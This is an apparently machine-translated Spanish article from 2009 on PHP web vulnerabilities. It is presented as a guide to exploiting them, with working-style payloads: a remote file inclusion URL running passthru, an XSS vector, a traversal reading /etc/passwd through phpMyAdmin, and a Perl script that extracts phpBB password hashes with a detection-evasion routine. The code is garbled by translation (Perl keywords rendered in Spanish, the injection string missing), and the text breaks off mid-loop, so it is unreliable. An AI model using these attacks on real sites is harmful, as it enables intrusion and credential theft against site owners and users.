Análisis de vulnerabilidad de páginas PHP comunes y resolución de problemas relacionados
Autor：Eve Cole
Fecha de actualización：2009-06-02 18:07:08
A juzgar por la seguridad de la red actual, la vulnerabilidad de la página WEB que más preocupa a todos y a la que más están expuestos debería ser ASP. En este sentido, Xiaozhu es un experto, pero no tengo nada que decir desde la perspectiva de PHP. También hay vulnerabilidades de seguridad muy graves, pero no hay muchos artículos en esta área. Aquí, analicemos brevemente las vulnerabilidades relacionadas de las páginas PHP.
He hecho un resumen de las vulnerabilidades PHP comunes actuales, que se dividen aproximadamente en las siguientes categorías: incluidas vulnerabilidades de archivos, vulnerabilidades de ejecución de comandos de script, vulnerabilidades de fuga de archivos, vulnerabilidades de inyección SQL, etc. Por supuesto, en cuanto a algunas tecnologías comunes como Falsificación de COOKIES, no lo discutiré aquí, hay mucha información al respecto en línea. Entonces, ¡analicemos cómo explotar estas vulnerabilidades una por una!
Primero, analicemos la vulnerabilidad del archivo incluido. Se debe decir que esta vulnerabilidad es exclusiva de PHP. Esto se debe al procesamiento insuficiente de datos maliciosos proporcionados externamente, lo que permite a atacantes remotos explotar estas vulnerabilidades para ejecutar comandos arbitrarios en el sistema con procesos WEB. permisos.Comando. Veamos un ejemplo: supongamos que existe un código de este tipo en a.php:
incluir($incluir."/xxx.php");
?>
En este código, $include es generalmente una ruta que se ha configurado, pero podemos lograr el propósito del ataque construyendo una ruta nosotros mismos. Por ejemplo, enviamos: a.php?include=http://web/b. php, esta web es el espacio que usamos para atacar. Por supuesto, b.php es el código que usamos para atacar. Podemos escribir algo como: passthru("/bin/ls /etc") en el código b.php. De esta manera, puede realizar algunos ataques intencionados (Nota: el servidor web no debería poder ejecutar código PHP; de lo contrario, se producirán problemas. Para obtener detalles relevantes, puede consultar << Cómo atacar vulnerabilidades comunes en programas PHP >>. ). En términos de esta vulnerabilidad, hay muchos problemas, por ejemplo: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart y muchos más.
A continuación, echemos un vistazo a la vulnerabilidad de ejecución del comando de secuencia de comandos. Esto se debe a la falta de filtrado suficiente de los parámetros URI enviados por los usuarios. El envío de datos que contienen código HTML malicioso puede desencadenar un ataque de secuencias de comandos entre sitios y puede obtener información confidencial del usuario. usuario objetivo. Demos también un ejemplo: la página index.php en PHP Transparent PHP 4.3.1 o inferior carece de filtrado suficiente de PHPSESSID. Podemos lograr el propósito del ataque a través de dicho código:
http://web/index.php?PHPSESSID =">En el script, podemos construir funciones para obtener información confidencial de los usuarios. Hay relativamente pocas vulnerabilidades a este respecto. Además de PHP transparente, también existen: PHP- Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Luego, echemos un vistazo a la vulnerabilidad de divulgación de archivos. Esta vulnerabilidad se debe a la falta de filtrado suficiente de los parámetros enviados por el usuario. Los atacantes remotos pueden utilizarla para realizar ataques transversales de directorio y obtener información confidencial. Tomemos como ejemplo el phpMyAdmin recientemente descubierto. En phpMyAdmin, la página export.php no filtra completamente el parámetro 'qué' enviado por el usuario. Un atacante remoto puede evitar esto enviando datos que contengan múltiples caracteres '../'. Supere las restricciones de WEB ROOT y vea cualquier información de archivo en el sistema con permisos WEB. Por ejemplo, ingresar una dirección de este tipo: export.php?what=../../../../../../etc/passwd%00 puede lograr el propósito de fuga de archivos. es relativamente Hay más: myPHPNuke, McNews, etc.
Finalmente, volvemos al lugar más emocionante. Piense en lo divertido que es usar la inyección SQL en páginas ASP. En el pasado, teníamos que inyectar manualmente hasta que Xiaozhu descubrió el "libro secreto de la inyección SQL" (jeje). Luego, después del lanzamiento de NBSI, nuestra Alianza NB realmente marcó una gran diferencia. Hemos ayudado a encontrar lagunas en sitios web grandes como CSDN, Monopoly Forum y China Channel (no entraré en más tonterías sobre esto, es un poco). fuera de tema...). Volvamos al tema. De hecho, la inyección SQL en asp es más o menos la misma que la inyección SQL en php. Solo preste un poco de atención a las pocas funciones utilizadas. Cambie asc a ASCII, len a LENGTH. Y otras funciones son básicamente Nada ha cambiado. De hecho, cuando todos ven la inyección SQL en PHP, ¿piensan en PHP-NUKE y PHPBB? Sí, como dice el refrán, se pueden obtener grandes puntos en foros como Dongwang. El rey de las vulnerabilidades en el mundo ASP. Esto no quiere decir que la seguridad de su foro sea demasiado pobre, sino que es demasiado conocido. Cuanto más lo usen, más gente lo investigará y más seguridad. Se descubrirán agujeros. Lo mismo ocurre con PHPBB, y ahora una gran cantidad de personas usan PHP para crear un foro, generalmente eligen PHPBB. Sus vulnerabilidades siempre están surgiendo, desde las primeras vulnerabilidades descubiertas en la versión phpBB 1.4.0. de phpBB.com al último groupcp.php en la versión phpBB 2.0.6, así como search.php, perfil.php, viewtopic.php, etc. que se descubrieron antes, probablemente haya una docena más o menos. Siempre ha llevado a algunas personas a usarlo como un producto experimental al estudiar las vulnerabilidades de PHP. Después de mucha práctica, creo que PHPBB mejorará cada vez más en el futuro.
Bien, analicemos la causa de la vulnerabilidad. Tome la página viewtopic.php como ejemplo. Al llamar a viewtopic.php, el "topic_id" se obtiene directamente de la solicitud GET y se pasa al comando de consulta SQL sin ejecutarlo. Al procesar el filtrado, el atacante puede enviar una cadena SQL especial para obtener la contraseña MD5. La obtención de esta información de contraseña se puede utilizar para el inicio de sesión automático o para el descifrado por fuerza bruta. (No creo que nadie quiera hacer un cracking por fuerza bruta, a menos que haya una razón particularmente importante. Primero echemos un vistazo al código fuente relevante:
# si (isset($HTTP_GET_VARS[POST_TOPIC_URL]))
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# más si (isset($HTTP_GET_VARS['tema']))
# {
# $topic_id = intval($HTTP_GET_VARS['tema']);
# }
De lo anterior podemos ver que si la vista enviada = más nueva y sid se establecen en un valor, el código de consulta ejecutado se parece al siguiente (si no ha visto el código fuente de PHPBB, le sugiero que lo lea y luego venga aquí). Mira, los sistemas afectados son: phpBB 2.0.5 y phpBB 2.0.4).
# $sql = "SELECCIONAR p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# DONDE s.session_id = '$session_id'
# Y u.user_id = s.session_user_id
# Y p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDENAR POR p.post_time ASC
# LÍMITE 1";
Rick proporcionó el siguiente código de prueba:
utilizar IO::Socket;
$remoto = turno || 'localhost';
$view_topic = cambio || '/phpBB2/viewtopic.php';
$uid = cambio || 2;
$puerto = 80;
$dbtype = 'mysql4'; # mysql4 o pgsql
print "Intentando obtener el hash de contraseña para uid $uid server $remote dbtype: $dbtypen";
$p = "";
para($índice=1; $índice<=32; $índice++)
{
$socket = IO::Socket::INET->nuevo(PeerAddr => $remoto,
PeerPort => $puerto,
Protocolo => "tcp",
Tipo => SOCK_STREAM)
o morir "No se pudo conectar a $remoto:$puerto: $@n ";
$str = "OBTENER $view_topic" "?sid=1&topic_id=-1" .
imprimir $socket $cadena;
print $socket "Cookie: phpBB2mysql_sid=1n" # reemplaza esto por pgsql o elimínalo
print $socket "Host: $remotonn";
mientras ($respuesta = <$socket>)
{
if ($answer =~ /location:.*x23(d+)/) # Coincide con la ubicación: viewtopic.php?p=#
{
$p .= chr();
}
}
cerrar($zócalo);
}
print "nMD5 Hash para uid $uid es $pn";
# cadena de codificación aleatoria ayuda a evitar la detección
sub código_aleatorio
{
$cadena = cambio;
$ret = "";
para($i=0; $i
